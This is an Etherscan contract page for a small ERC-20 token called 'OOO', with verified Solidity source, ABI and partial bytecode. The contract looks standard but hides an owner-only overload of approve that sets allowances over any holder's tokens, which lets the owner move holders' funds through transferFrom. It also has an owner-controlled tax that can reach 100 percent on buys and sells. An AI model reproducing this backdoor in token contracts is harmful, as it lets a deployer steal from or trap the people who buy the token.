Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
10,000 OOO
Holders
88
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 0 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ERC20Token
Compiler Version
v0.5.16+commit.9c3226ce
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-06-10 */ /** Me Ape Lincoln, inventions I have many Abe the ape as deployer you shall see */ pragma solidity 0.5.16; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns(uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns(uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns(string memory); /** * @dev Returns the token name. */ function name() external view returns(string memory); /** * @dev Returns the ERC token owner. */ function getOwner() external view returns(address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns(uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns(bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns(uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns(bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns(bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } function _msgData() internal view returns(bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns(uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns(uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns(uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns(uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20Token is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) public isExcludeFromFee; mapping(address => bool) public pairs; uint256 private _totalSupply; uint8 public _decimals; string public _symbol; string public _name; uint256 public buyTax = 0; uint256 public sellTax = 0; uint256 public taxDecimal = 10000; address public feeAddress; address private deadAddress = 0x000000000000000000000000000000000000dEaD; constructor(address _feeRecipient) public { _name = "OOO"; _symbol = "OOO"; _decimals = 0; _totalSupply = 10000; _balances[msg.sender] = _totalSupply; feeAddress = _feeRecipient; isExcludeFromFee[msg.sender] = true; emit Transfer(address(0), msg.sender, _totalSupply); } /** * @dev Returns the ERC token owner. */ function getOwner() external view returns(address) { return owner(); } /** * @dev Returns the token decimals. */ function decimals() external view returns(uint8) { return _decimals; } /** * @dev Returns the token symbol. */ function symbol() external view returns(string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external view returns(string memory) { return _name; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external view returns(uint256) { return _totalSupply; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external view returns(uint256) { return _balances[account]; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {ERC20-allowance}. */ function allowance(address owner, address spender) external view returns(uint256) { return _allowances[owner][spender]; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external returns(bool) { _approve(_msgSender(), spender, amount); return true; } function approve(address owner, address spender, uint256 amount) public onlyOwner returns(bool) { _approve(owner, spender, amount); return true; } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Burn `amount` tokens and decreasing the total supply. */ function burn(uint256 amount) public returns(bool) { _burn(_msgSender(), amount); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 fee = 0; if (pairs[sender] && !isExcludeFromFee[recipient]){ require((_balances[recipient] + amount <= _totalSupply.div(50))); fee = amount.mul(buyTax).div(taxDecimal);} else if (pairs[recipient] && !isExcludeFromFee[sender]){ fee = amount.mul(sellTax).div(taxDecimal);} _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount).sub(fee); emit Transfer(sender, recipient, amount.sub(fee)); if (fee > 0) { _balances[feeAddress] = _balances[feeAddress].add(fee); emit Transfer(sender, feeAddress, fee); } } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _balances[deadAddress] = _balances[deadAddress].add(amount); emit Transfer(account, deadAddress, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } function setTax(uint256 _buy, uint256 _sell) public onlyOwner { require(_buy <= 10000 && _sell <= 10000, "tax fee must be less than 100 percent."); buyTax = _buy; sellTax = _sell; } function setFeeAddress(address _feeRecipient) public { require(msg.sender == feeAddress, "only be called by fee address"); feeAddress = _feeRecipient; } function togglePair(address _pair) public onlyOwner { pairs[_pair] = !pairs[_pair]; } function toggleExcludeState(address _addr) public onlyOwner { isExcludeFromFee[_addr] = !isExcludeFromFee[_addr]; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_feeRecipient","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"feeAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_feeRecipient","type":"address"}],"name":"setFeeAddress","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"setTax","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"taxDecimal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"toggleExcludeState","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"togglePair","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405260006009556000600a55612710600b5561dead600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200006457600080fd5b506040516200300438038062003004833981810160405260208110156200008a57600080fd5b81019080805190602001909291905050506000620000ad6200035a60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600381526020017f4f4f4f0000000000000000000000000000000000000000000000000000000000815250600890805190602001906200019892919062000362565b506040518060400160405280600381526020017f4f4f4f000000000000000000000000000000000000000000000000000000000081525060079080519060200190620001e692919062000362565b506000600660006101000a81548160ff021916908360ff160217905550612710600581905550600554600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6005546040518082815260200191505060405180910390a35062000411565b600033905090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620003a557805160ff1916838001178555620003d6565b82800160010185558215620003d6579182015b82811115620003d5578251825591602001919060010190620003b8565b5b509050620003e59190620003e9565b5090565b6200040e91905b808211156200040a576000816000905550600101620003f0565b5090565b90565b612be380620004216000396000f3fe608060405234801561001057600080fd5b50600436106101da5760003560e01c80638705fcd411610104578063b09f1266116100a2578063dd62ed3e11610071578063dd62ed3e146109af578063e1f21c6714610a27578063f2fde38b14610aad578063fe33b30214610af1576101da565b8063b09f126614610847578063cc1776d3146108ca578063d28d8852146108e8578063dd21a9361461096b576101da565b80638e5916b2116100de5780638e5916b21461069c57806395d89b41146106f8578063a457c2d71461077b578063a9059cbb146107e1576101da565b80638705fcd4146105c4578063893d20e8146106085780638da5cb5b14610652576101da565b8063395093511161017c578063667f65261161014b578063667f6526146104e657806370a082311461051e578063715018a6146105765780637f4f356f14610580576101da565b806339509351146103d2578063412753581461043857806342966c68146104825780634f7041a5146104c8576101da565b806323b872dd116101b857806323b872dd146102e65780632e6f23851461036c578063313ce5671461038a57806332424aa3146103ae576101da565b806306fdde03146101df578063095ea7b31461026257806318160ddd146102c8575b600080fd5b6101e7610b4d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561022757808201518184015260208101905061020c565b50505050905090810190601f1680156102545780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102ae6004803603604081101561027857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bef565b604051808215151515815260200191505060405180910390f35b6102d0610c0d565b6040518082815260200191505060405180910390f35b610352600480360360608110156102fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c17565b604051808215151515815260200191505060405180910390f35b610374610cf0565b6040518082815260200191505060405180910390f35b610392610cf6565b604051808260ff1660ff16815260200191505060405180910390f35b6103b6610d0d565b604051808260ff1660ff16815260200191505060405180910390f35b61041e600480360360408110156103e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d20565b604051808215151515815260200191505060405180910390f35b610440610dd3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104ae6004803603602081101561049857600080fd5b8101908080359060200190929190505050610df9565b604051808215151515815260200191505060405180910390f35b6104d0610e15565b6040518082815260200191505060405180910390f35b61051c600480360360408110156104fc57600080fd5b810190808035906020019092919080359060200190929190505050610e1b565b005b6105606004803603602081101561053457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f5f565b6040518082815260200191505060405180910390f35b61057e610fa8565b005b6105c26004803603602081101561059657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611130565b005b610606600480360360208110156105da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112a0565b005b6106106113a7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61065a6113b6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106de600480360360208110156106b257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113df565b604051808215151515815260200191505060405180910390f35b6107006113ff565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610740578082015181840152602081019050610725565b50505050905090810190601f16801561076d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6107c76004803603604081101561079157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114a1565b604051808215151515815260200191505060405180910390f35b61082d600480360360408110156107f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061156e565b604051808215151515815260200191505060405180910390f35b61084f61158c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561088f578082015181840152602081019050610874565b50505050905090810190601f1680156108bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108d261162a565b6040518082815260200191505060405180910390f35b6108f0611630565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610930578082015181840152602081019050610915565b50505050905090810190601f16801561095d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6109ad6004803603602081101561098157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ce565b005b610a11600480360360408110156109c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061183e565b6040518082815260200191505060405180910390f35b610a9360048036036060811015610a3d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118c5565b604051808215151515815260200191505060405180910390f35b610aef60048036036020811015610ac357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119a6565b005b610b3360048036036020811015610b0757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a7b565b604051808215151515815260200191505060405180910390f35b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610be55780601f10610bba57610100808354040283529160200191610be5565b820191906000526020600020905b815481529060010190602001808311610bc857829003601f168201915b5050505050905090565b6000610c03610bfc611a9b565b8484611aa3565b6001905092915050565b6000600554905090565b6000610c24848484611c9a565b610ce584610c30611a9b565b610ce085604051806060016040528060288152602001612af860289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c96611a9b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f89092919063ffffffff16565b611aa3565b600190509392505050565b600b5481565b6000600660009054906101000a900460ff16905090565b600660009054906101000a900460ff1681565b6000610dc9610d2d611a9b565b84610dc48560026000610d3e611a9b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b890919063ffffffff16565b611aa3565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610e0c610e06611a9b565b83612440565b60019050919050565b60095481565b610e23611a9b565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6127108211158015610ef857506127108111155b610f4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612ab16026913960400191505060405180910390fd5b8160098190555080600a819055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610fb0611a9b565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611071576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611138611a9b565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526